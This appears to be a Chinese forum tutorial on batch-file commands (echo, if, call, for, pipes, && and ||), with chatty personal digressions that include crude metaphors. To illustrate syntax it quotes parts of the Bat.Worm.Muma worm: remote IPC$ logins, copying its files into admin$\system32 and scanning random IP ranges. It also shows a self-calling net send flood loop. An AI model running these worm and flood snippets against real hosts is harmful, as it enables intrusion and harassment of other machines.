先 不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容 解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5 行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码 (当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码 到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源 代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进 性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@

这 个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中 不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。

2、echo

中 文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
echo命令的另一种用法二:可以直接编辑文本文件。例六:


echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。

3、::

这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。

4、pause

中 文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一 行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错 误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、:和goto

为什么要把这两个命令联合起来介绍?因为它 们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不 是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是 标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至 于这两个命令具体用法,参照例五。

goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……
goto end
……
:end

这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s

以 上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚 本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在 脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是 更灵活?)。

关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

这 一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐 怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己 肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用 批处理来自动化完成了。

烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山 行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点 怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道 这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放 心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
曾经有一篇经典的批处理教程 出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个 字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程, 虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。

批处理脚本中最重要的几 个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收 获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有 些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经 掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!

7、if

接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

这 里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或 help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中 文体会一下就understand了。

(2)、存在判断。再看例二里这句:

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如 果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果 不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先 对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有 关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符 合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:



masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看 到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成 功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练 习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了? 后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关 于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似 下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。 一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学 会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):

start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有 没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以 灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

在 start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat 中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂 没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可 以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码 写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

net send %1 This is a call example.
call a.bat

这 两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时 向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

call a.bat

一 定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候 跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先 用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内 容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直 接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎 指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的 type命令了。

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。

10、for、set、shift

为 什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究 Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一 个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令 (特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样 那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

执 行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信 息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令 后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的 心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经 需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十 二:

START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

这 是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能 体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代 码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有 的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。

不 得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处 理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述 了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东, 可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的 追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老 妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎 在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。


可以说,批处理脚本中最重要的几个命令我都没有给出如echo 或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS 批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点 time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个 不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。

但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌 子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班 第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过 来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个 人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批 处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以 我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>

11、|

这 个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让 我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只 能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:

help | more

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。

为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。

11.1、 help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所 支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。

11.2、more命 令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在 DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三 里,more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的 输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令 more的输入。所以例十三和下面的例十四是等效的:

help > a.txt
more a.txt
del a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。

12、>、>>

这 两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别 是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十 五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看 到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令> 和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所 以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令> 和>>的用法。

13、<、>&、<&

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。


下面介绍组合命令:&、&&、||

组 合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了 一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是 说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本 里也一样,有些时候某些命令是不能同时执行的,后面给你说。

刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里 喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个 连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭 折。但我能怪谁?

忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落 的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道 那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要 在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾 诉,因为虽然失败,但还是男人,是男人就不能向困难低头!

14、&

这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:

copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。


15、&&

切 记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令 来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下 的命令。这就为我们自动化完成一些任务提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。

你 是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如 何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:

dir c:\ && dir d:\ > a.txt

仔 细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令 和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结 的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:

dir c:\ > a.txt && dir d:\ >> a.txt

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用&命令(自己想一下道理哦):

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:

@echo off
dir s*.exe || exit

其 实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因 为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
例二十一:

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!

